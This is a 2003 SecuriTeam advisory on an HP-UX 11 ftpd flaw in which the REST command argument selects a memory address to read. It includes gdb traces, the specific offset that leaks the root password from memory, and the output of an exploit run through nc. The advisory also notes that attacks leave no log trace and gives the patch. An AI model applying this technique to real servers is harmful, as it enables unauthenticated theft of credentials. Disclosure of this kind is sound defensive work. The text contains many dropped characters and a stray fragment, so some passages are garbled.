[UNIX] HPUX ftpd remote issue via REST

From: SecuriTeam (support_at_securiteam.com)
Date: 06/06/03

  • Next message: SecuriTeam: "[NT] Mailtraq Multiple Vulnerabilities (CSS, Path Disclosure, Source Viewing)"
    To: list@securiteam.com
    Date: 6 Jun 2003 17:42:32 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Latest attack techniques.

    You're a pen tester, but is google.com still your R&D team?
    Now you can get trustworthy commercial-grade exploits and the latest
    techniques from a world-class research group.

    Learn more at http://www.coresecurity.com/promos/sit_e1,
    or call 617-399-6980

    - - - - - - - - -

      HPUX ftpd remote issue via REST
    ------------------------------------------------------------------------

    SUMMARY

    The ftpd that comes default with HPUX 11 is vulnerable to an attack that
    will allow an attacker to view the contents ofny file on the system
    without first authenticating. This is subject to first getting the file
    into memory.

    DETAILS

    Vulnerable systems:
    HPUX ftpd version 1.1.214.4

    This issue occurs in the REST command. REST is intended to allow the user
    to restart an upload or download from a pvious location. For example, if a
    user was disconnected from the internet he or she could resume the
    session where he left offa a later time. The argument that is passed
    to the REST command can be used to specify a memory address to read from.
    This allows an attacker for example to easily read the root password from
    memory.

    The text description for HPUX patch PHNE_21936 contains the following:

    PHNE_18377:
    The wrong conversion character was used in the format string to define
    the filesize.

    Resolution:
    The conversion character in the format was changed to the offset_uformat
    macro.

    When exploiting this issue SNOSoft noticed the offset_uformat macro seems
    to be used when presenting the user withata about the restarted session.
    Due to the bad use of a conversion character and the connection with
    offset_uformat there was a good chance this csed the problem.

    If we take a look in gdb we can see how this bug becomes exploitable.

     frieza elguapo $ ftp 192.168.1.111
     Connected to 192.168.1.111.
     220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999)
    ready.
     Name (192.168.1.111:root): elguapo
     331 Password required for elguapo.
     Password:
     230 User elguapo logged in.
     Remote system type is UNIX.
     Using binary mode to transfer files.
     ftp> rest 1111111111111111
     restarting at 2147483647. execute get, put or append to initiate transfer
     ftp> get .
     local: . remote: .
     200 PORT command successful.

    # gdb /usr/lbin/ftpd 2862
    GNU gdb 4.18-hppa-991112
    Copyright 1998 Free Software Foundation, Inc.

    /home/elguapo/2862: No such file or directory.
    Attaching to program: /usr/lbin/ftpd, process 2862

    Unable to find __dld_flags symbol in object file.

    (gdb) c
    Continuing.

    Program received signal SIGSEGV, Segmentation fault.
    0xc00ef0b8 in ?? ()
    (gdb) bt
    #0  0xc00ef0b8 in ?? ()
    Error accessing memory address 0x7fffffff: Bad address.

    (gdb) info registers r3 r11
            r3: 7fffffff
           r11: 7fffffff

    For some reason we are trying to read from the address 0x7fffffff. If we
    try different offsets for the REST commanwe discover that we have full
    control of the address being read. In gdb this address can be found in
    both r3 and r11. Below youse the result of trying different
    addresses. The value that is stored in r3 will later be used in a call to
    write() .

     ftp> rest 200000
     restarting at 200000. execute get, put or append to initiate transfer
     ftp> get .
     local: . remote: .
     200 PORT command successful.

     Program received signal SIGSEGV, Segmentation fault.
     0xc00ef0b8 in ?? ()
     (gdb) bt
     #0  0xc00ef0b8 in ?? ()
     Error accessing memory address 0x30d40: Bad address.

     ftp> rest 200002
     restarting at 200002. execute get, put or append to initiate transfer
     ftp> get .
     local: . remote: .
     200 PORT command successful.

     Program received signal SIGSEGV, Segmentation fault.
     0xc00ef0b8 in ?? ()
     (gdb) bt
     #0  0xc00ef0b8 in ?? ()
     Error accessing memory address 0x30d42: Bad address.

     ftp> rest 200004
     restarting at 200004. execute get, put or append to initiate transfer
     ftp> get .
     local: . remote: .
     200 PORT command successful.

     (gdb) bt
     #0  0xc00ef0b8 in ?? ()
     Error accessing memory address 0x30d44: Bad address.

    You should note that the address that is being read from seems to be
    incremented as we increment the REST offset. escription100=At this point
    we only need to find a good section of memory to try to read from. SNOSoft
    figured out rather quickythat when attempting to loginto the ftpd the root
    password is obviously put in memory. After a bit of tracing through system
    cll the address that the password was stored at was found, and it can be
    simply supplied via the REST command.

    The result of that exercise can be seen below.

    During authentication the following occurs.

     open("/etc/passwd", O_RDONLY, 0666) [entry]
     open("/etc/passwd", O_RDONLY, 0666)
     ioctl(5, TCGETA, 0x7f7e61b8)[entry]
     ioctl(5, TCGETA, 0x7f7e61b8)ERR#25 ENOTTY
     read(5, 0x4002fe10, 8192)[entry]
     read(5, 0x4002fe10, 8192)= 454
        r o o t : m y r o o t p a s s w o r d : 0 : 3 : : / : / s b i n /
        s h \n d a e m o n : * : 1 : 5 : : / : / s b i n / s h \nb i n :

    The address 0x4002fe10 should now contain the root password. This is the
    address that we should put in the r3 regter. REST 1073937936 should do the
    job. A simple perl script serves the purpose of an exploit.

     frieza root # (./HPUX_rest2.pl;cat) | nc 192.168.1.111 21
     220 kakarot FTP server (Version 1.1.214.4 Mon Feb 15 08:48:46 GMT 1999)
    ready.
     331 Password required for root.
     530 Login incorrect.
     350 Restarting at offset_uformat. root:myrootpassword:0:3::/:/sbin/sh\n
      daemon:*:1:5::/:/sbin/sh\n bin:
     ...

    You will notice that the root password is printed to the screen as part of
    the restart information. We have now scessfully exploited this issue.

    Unfortunately there is zero information left in log files for tracking the
    attacker. Below is an example of what u would see in syslog.

    Jan  1 07:34:53 kakarot ftpd[2138]: pam_authenticate: Authentication
    failed
    Jan  1 07:34:53 kakarot ftpd[2138]: User root: Login incorrect
    Jan  1 07:34:53 kakarot ftpd[2138]: FTP session closed

    Patch:
    Install HPUX patch PHNE_18377 or higher (PHNE_21936)

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:dotslash@snosoft.com> KF.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Mailtraq Multiple Vulnerabilities (CSS, Path Disclosure, Source Viewing)"

    Relevant Pages